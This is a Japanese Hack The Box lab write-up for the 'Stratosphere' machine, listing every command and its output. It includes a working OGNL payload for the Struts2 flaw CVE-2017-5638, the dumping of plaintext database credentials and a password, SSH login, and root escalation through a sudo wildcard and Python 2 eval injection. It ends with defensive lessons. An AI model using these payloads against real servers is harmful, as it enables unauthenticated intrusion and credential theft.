Hack The BoxのWriteup(Stratosphere)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Stratosphere — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/8080
gobuster
/Monitoring (Struts2)
CVE-2017-5638 (S2-045)
Content-Type OGNLインジェクション
tomcat8 RCE
db_connect + MySQL
admin/admin → richardの平文パスワード
SSH richard
user.txt ✓
sudo /usr/bin/python* ワイルドカード
python2 input()=eval()
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p 21,22,23,25,53,80,...,8080,... -T4 --max-retries 3 10.129.62.230
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80,8080 10.129.62.230
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey:
|   2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
|   256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_  256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp   open  http    Apache Tomcat (language: en)
|_http-title: Stratosphere
8080/tcp open  http    Apache Tomcat (language: en)
|_http-title: Stratosphere
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ポート80・8080の両方でApache Tomcatが応答。ポート8080はプロキシ的な挙動を示唆しており、 RCE成立後にlocalhostのTomcatコネクタへプロキシしていることが後の調査でわかる。
PHASE 2

Web調査 — /Monitoring (Struts2アプリ) の発見

トップページとGettingStarted.html

BASH
curl -s http://10.129.62.230/GettingStarted.html
RESULT
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>Stratosphere -- Getting Started</title>
</head>
<body>
    <h1>Site under construction. Please check back later.</h1>
</body>
</html>

404ページからTomcatバージョンを特定

BASH
curl -s http://10.129.62.230/nonexistent-path-xyz | grep -oE "Apache Tomcat[^<]*"
RESULT
Apache Tomcat/8.5.54 (Debian)

gobusterでディレクトリ列挙

BASH
gobuster dir -u http://10.129.62.230 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x txt,php,html -q -t 30
RESULT
/index.html           (Status: 200)
/manager              (Status: 302)
/GettingStarted.html  (Status: 200)
/Monitoring            (Status: 302) → /Monitoring/example/Welcome.action
🚨
/Monitoring はStruts2の典型的なパス構造 (*.action) を持つ 「Stratosphere Credit Monitoring」アプリへリダイレクトする。Equifax事件 (CVE-2017-5638) を 連想させる名前とテーマであり、Strutsの既知RCE脆弱性が本命の攻撃経路であることを強く示唆する。

Monitoringアプリの構造確認

BASH
curl -s http://10.129.62.230/Monitoring/example/Welcome.action
RESULT
<html>
<head>
    <title>Welcome</title>
    <link href="example.css;jsessionid=..." rel="stylesheet" type="text/css"/>
</head>
<body>
<div class="overlay">
<h1>Stratosphere Credit Monitoring</h1>
<div class="btn-wrap">
    <a href="/Monitoring/example/Login_input.action;...">Sign On</a>
</div>
<div class="btn-wrap">
    <a href="/Monitoring/example/Register.action;...">Register</a>
</div>
</div>
</body>
ℹ️
全てのリンクが .action 拡張子。Apache Struts2フレームワークで構築された アプリケーションであることが確定した。
PHASE 3

CVE-2017-5638 (Apache Struts2 S2-045) — Content-Type OGNLインジェクション RCE

脆弱性の原理

NOTE
Struts2のJakarta Multipartパーサーは、ファイルアップロード処理の際に
Content-Typeヘッダーの値をOGNL式として評価してしまう実装不備を持つ
(CVE-2017-5638 / S2-045)。攻撃者は "%{...}" で始まるOGNL式をそのまま
Content-Typeヘッダーに仕込むだけでサーバー側の任意コード実行に至る。
2017年のEquifax情報漏洩(約1.47億人分の個人情報流出)で悪用されたことで
広く知られる。本ボックスの「Credit Monitoring」というテーマ自体が
Equifax事件への露骨なオマージュになっている。

OGNLペイロードでコマンド実行

BASH
CT="%{(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}"

curl -s "http://10.129.62.230/Monitoring/example/Welcome.action" \
  -H "Content-Type: $CT"
RESULT
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
RCE成功! Content-Typeヘッダー1本のリクエストで即座にコード実行が成立する。 認証は一切不要、Welcome.action (トップページ相当) だけで発火する。
⚠️
#cmd='...' 部分にOGNL文字列リテラルとしてコマンドを埋め込むため、 コマンド側でシングルクォートを使いたい場合はエスケープが必要。本チェーンでは 後続のMySQLコマンドで "..."(ダブルクォート)を使うことでこの制約を回避した。
PHASE 4

DB資格情報奪取 → MySQL → richardの平文パスワード → user.txt

db_connect ファイルの読み取り

BASH (RCE経由)
cat /var/lib/tomcat8/db_connect
RESULT
[ssn]
user=ssn_admin
pass=AWs64@on*&

[users]
user=admin
pass=admin
ℹ️
tomcat8が読めるアプリ設定ファイルにMySQL資格情報が平文で置かれている。 [users] セクションの admin/admin がターゲット。

MySQLに問い合わせてrichardのパスワードを取得

BASH (RCE経由)
mysql -u admin -padmin -e "select * from users.accounts;" 2>&1
RESULT
fullName	password	username
Richard F. Smith	9tc*rhKuG5TyXvUJOrE^5CK7k	richard
🚨
決定的な発見: users データベースの accounts テーブルに richardユーザーの平文パスワードがそのまま保存されている。このパスワードはOSアカウントの richardでも(パスワード再利用のため)そのまま通用する。

SSHでrichardとしてログイン & user.txt取得

BASH
sshpass -p '9tc*rhKuG5TyXvUJOrE^5CK7k' \
  ssh -o StrictHostKeyChecking=no richard@10.129.62.230 \
  "id; cat /home/richard/user.txt"
RESULT
uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)
3d6523e4fb22b01b9db72d04d1f852d1
user.txt — richard
3d6523e4fb22b01b9db72d04d1f852d1
MySQLの資格情報をRCE経由で盗み出しただけで、追加のエクスプロイトなしに SSHで安定したシェルへ昇格できた。 tomcat8のfifoベース対話シェルを別途構築する (0xdf公式ウォークスルーの手法) 必要はなく、都度のワンショットRCEコマンドで十分だった。
PHASE 5

権限昇格の下調べ — sudo -l と test.py

sudo -l でrichardの許可コマンドを確認

BASH
ssh richard@10.129.62.230 "sudo -l"
RESULT
Matching Defaults entries for richard on stratosphere:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on stratosphere:
    (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
🚨
/usr/bin/python*ワイルドカードであり、 pythonpython2python2.7python3 など /usr/bin/pythonで始まる実行ファイル全てにマッチする。パスワードなしでroot権限実行可能。

test.py の中身を確認

BASH
ssh richard@10.129.62.230 "cat /home/richard/test.py"
PYTHON (test.py 抜粋)
#!/usr/bin/python3
import hashlib

def question():
    q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
    md5 = hashlib.md5()
    md5.update(q1.encode())
    if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
        print("Sorry, that's not right")
        return
    print("You got it!")
    q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
    ...
    import os
    os.system('/root/success.py')
    return

question()
ℹ️
4つのハッシュ(md5・sha1・md4・blake2b512)を順に解読させるクイズ形式のスクリプト。 全問正解すると /root/success.py を実行する — が、これは「本筋の罠」ではない。 鍵は input() 関数そのものの言語仕様差にある。

python実行ファイルの構成を確認

BASH
ssh richard@10.129.62.230 "ls -l /usr/bin/python*"
RESULT
lrwxrwxrwx 1 root root       7 Mar  4  2019 /usr/bin/python -> python2
lrwxrwxrwx 1 root root       9 Mar  4  2019 /usr/bin/python2 -> python2.7
-rwxr-xr-x 1 root root 3672936 Sep 20  2023 /usr/bin/python2.7
lrwxrwxrwx 1 root root       9 Mar 26  2019 /usr/bin/python3 -> python3.7
-rwxr-xr-x 2 root root 4878368 Oct 11  2023 /usr/bin/python3.7
🚨
決定的なポイント: /usr/bin/python のデフォルトは python2を指す。ところがtest.pyのshebangは #!/usr/bin/python3。sudoersのワイルドカード /usr/bin/python* は明示的に /usr/bin/python(=python2)を指定した 実行も許可してしまうため、shebangを無視してpython2インタプリタでtest.pyを 強制実行させられる

Python2の input()eval(raw_input()) と等価 (Python3では文字列をそのまま返すだけの安全な仕様に変更された)。つまりpython2で test.pyを動かすと、最初の Solve: プロンプトへの入力が evalで即座にPythonコードとして実行される
PHASE 6

python2 eval() インジェクション → root.txt

sudo python (=python2) + eval注入でroot.txtをコピー

BASH
ssh richard@10.129.62.230 '
echo "__import__(\"os\").system(\"cp /root/root.txt /tmp/.rt_out; chmod 644 /tmp/.rt_out\")" \
  | sudo python /home/richard/test.py
'
RESULT
Solve: 5af003e100c80923ec04d65933d382cb
Traceback (most recent call last):
  File "/home/richard/test.py", line 38, in <module>
    question()
  File "/home/richard/test.py", line 8, in question
    md5.update(q1.encode())
AttributeError: 'int' object has no attribute 'encode'
重要: トレースバック(エラー)が出ているのは正常。eval()で 評価された __import__("os").system(...)戻り値(int)q1 に代入され、後続の q1.encode() で型エラーになっているだけ。 os.system() 自体は既にroot権限で実行済みであり、 /root/root.txt/tmp/.rt_out へコピー・chmod 644 されている。

コピーしたファイルを一般ユーザー権限で読み取り

BASH
ssh richard@10.129.62.230 "cat /tmp/.rt_out"
RESULT
82f44f972dc9f6ec1da5fca72e553b9a
root.txt — root@stratosphere
82f44f972dc9f6ec1da5fca72e553b9a
ℹ️
公式ウォークスルー(0xdf)では nc -e /bin/bash による対話的root リバースシェルを確立する手法を採っているが、本チェーンでは 「rootとして任意ファイルをコピー→一般ユーザーで読む」という 最短経路を選択し、追加のリスナー/シェル確立を経ずに直接フラグを回収した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — richard
3d6523e4fb22b01b9db72d04d1f852d1
root.txt — root@stratosphere
82f44f972dc9f6ec1da5fca72e553b9a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2017-5638 (S2-045) Apache Struts2 (Monitoring app) リモートコード実行 (tomcat8) Critical (CVSS 10.0) Content-TypeヘッダーへのOGNL式インジェクションで認証なしにコマンド実行、Equifax事件と同一の脆弱性
平文DB資格情報の再利用 /var/lib/tomcat8/db_connect + MySQL 横展開 (tomcat8 → richard) High 設定ファイルの admin/admin でMySQLに接続、accountsテーブルのrichardパスワードがOSアカウントでも再利用されていた
sudoワイルドカード + python2 eval() /usr/bin/python* /home/richard/test.py (sudoers) 権限昇格 (richard → root) Critical ワイルドカードがpython2にもマッチし、python2のinput()=eval(raw_input())仕様でos.system()を注入

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap (22/80/8080)OpenSSH 7.9p1、Apache Tomcat 8.5.54
2Web調査gobuster + 手動閲覧/Monitoring (Struts2 “Credit Monitoring”アプリ)発見
3RCECVE-2017-5638 OGNLインジェクションtomcat8としてのコード実行
4資格情報奪取db_connect読取 + MySQLクエリuser.txt取得 (richardのSSHログイン)
5権限調査sudo -l + test.py解析 + python構成確認sudoワイルドカードとpython2 eval()脆弱性を特定
6権限昇格python2 eval()インジェクションroot.txt取得

学んだ教訓 & 防御策

問題点防御策
2017年に公開された既知のCritical脆弱性(CVE-2017-5638)が未パッチのまま放置 Struts2は本脆弱性以降も複数のRCEが報告され続けているフレームワークであり、 定期的な脆弱性スキャンとパッチ適用、可能であれば別フレームワークへの移行を検討する。
アプリ設定ファイル(db_connect)にDB資格情報を平文保存、しかもデフォルト値(admin/admin) 資格情報はVaultやシークレットマネージャで管理し、デフォルトパスワードは 初回セットアップ時に必ず変更を強制する。
DBに保存されたユーザーパスワードがOSアカウントのログインパスワードとしても 再利用されている アプリケーション認証とOS認証のパスワードは完全に分離する。パスワード再利用を 検知する仕組み(同一ハッシュの横断チェック等)を導入する。
sudoersにワイルドカード(/usr/bin/python*)を使用し、 意図しないインタプリタ(python2)での実行を許してしまっている sudoersではワイルドカードを避け、フルパスで単一のバイナリのみを明示的に許可する。 スクリプト内で信頼できない入力をinput()やeval系関数に渡さない (Python3への統一、ast.literal_evalの使用等)。
HackTheBox: Stratosphere | 完全攻略レポート